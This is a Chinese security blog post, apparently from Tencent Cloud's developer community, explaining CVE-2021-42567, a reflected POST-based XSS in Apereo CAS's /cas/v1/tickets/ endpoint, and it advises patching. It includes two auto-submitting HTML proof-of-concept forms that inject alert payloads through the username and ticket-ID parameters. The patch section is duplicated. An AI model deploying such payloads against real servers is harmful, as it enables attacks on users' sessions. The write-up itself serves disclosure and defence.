前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用 CVE-2021-42567,Apereo CAS 上基于 POST 的 XSS

利用 CVE-2021-42567,Apereo CAS 上基于 POST 的 XSS

原创
作者头像
Khan安全团队
发布2021-12-30 15:00:15
1.5K0
发布2021-12-30 15:00:15
举报
文章被收录于专栏:Khan安全团队

Apereo 的漏洞披露称:

通过发送到 REST API 端点的 POST 请求,CAS 容易受到反射跨站点脚本攻击。可以在 URL 上注入有效负载:/cas/v1/tickets/。恶意脚本可以通过票证 ID 或用户名等参数提交给 CAS。这导致 CAS 拒绝请求并产生一个响应,其中易受攻击的参数的值被回显,从而导致其执行。

  • 易受攻击的端点是“/cas/v1/tickets/”
  • 易受攻击的参数是“ticket id”和“username”
  • 易受攻击的参数反映在 HTTP 响应上,无需清理或转义,并由浏览器执行。响应的内容类型必须是“text/html”,而不是我们在 REST API 中经常看到的“application/json”。

让我们尝试为票证 API 上的 XSS 漏洞制作一个 PoC。这看起来很简单,因为您只需要将 XSS 负载放入参数“用户名”内或端点路径的末尾(当然是 URL 编码形式)。Apereo CAS 拒绝请求并在 HTTP 响应中回显票证 ID 或用户名,而没有清理或转义,而标头“ Content-Type ”是“ text/html ”。

对于“ username ”参数(路径可以包含或不包含最后一个斜杠“/”):

对于票证 ID(在包含票证 ID 和用户名的请求中,票证 ID 将首先被处理,因此用户名将被忽略):

要利用基于 POST 的 XSS,您需要执行与 CSRF 相同的操作。这意味着你在你的网站上制作了一个恶意的 HTML 文件,通过电子邮件、消息等向受害者发送链接来引诱受害者访问这个文件,然后 HTML 文件中的漏洞利用代码会自动发送 POST 请求以触发 XSS 漏洞.这是一个仅在您使用“用户名”参数在浏览器上打开警报窗口时弹出警报窗口的示例:

代码语言:javascript
复制
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/cas/v1/tickets/" method="POST">
      <input type="hidden" name="username" value="<img/src/onerror=alert(document.domain)>" />
      <input type="hidden" name="password" value="Mellon" />
    </form>
  </body>
</html>

票证 ID 的另一个示例:

代码语言:javascript
复制
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/cas/v1/tickets/%3c%69%6d%67%20%73%72%63%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29%3e" method="POST">
      <input type="hidden" name="username" value="test" />
      <input type="hidden" name="password" value="Mellon" />
    </form>
  </body>
</html>

打补丁

补丁版本仍然反映了票证的 ID 和“用户名”参数,但它们是 HTML 编码的,不能再触发 XSS 负载。

如果您正在管理 Apereo CAS 服务器,您应该检查服务器的版本并更新到......不是版本 6.3.7.1 和 6.4.2,而是版本6.3.7.4 和 6.4.4.2以缓解这种 XSS 和关键的 Log4J脆弱性也是如此。

打补丁

补丁版本仍然反映了票证的 ID 和“用户名”参数,但它们是 HTML 编码的,不能再触发 XSS 负载。

如果您正在管理 Apereo CAS 服务器,您应该检查服务器的版本并更新到......不是版本 6.3.7.1 和 6.4.2,而是版本6.3.7.4 和 6.4.4.2以缓解这种 XSS 和关键的 Log4J脆弱性也是如此。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 打补丁
  • 打补丁
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档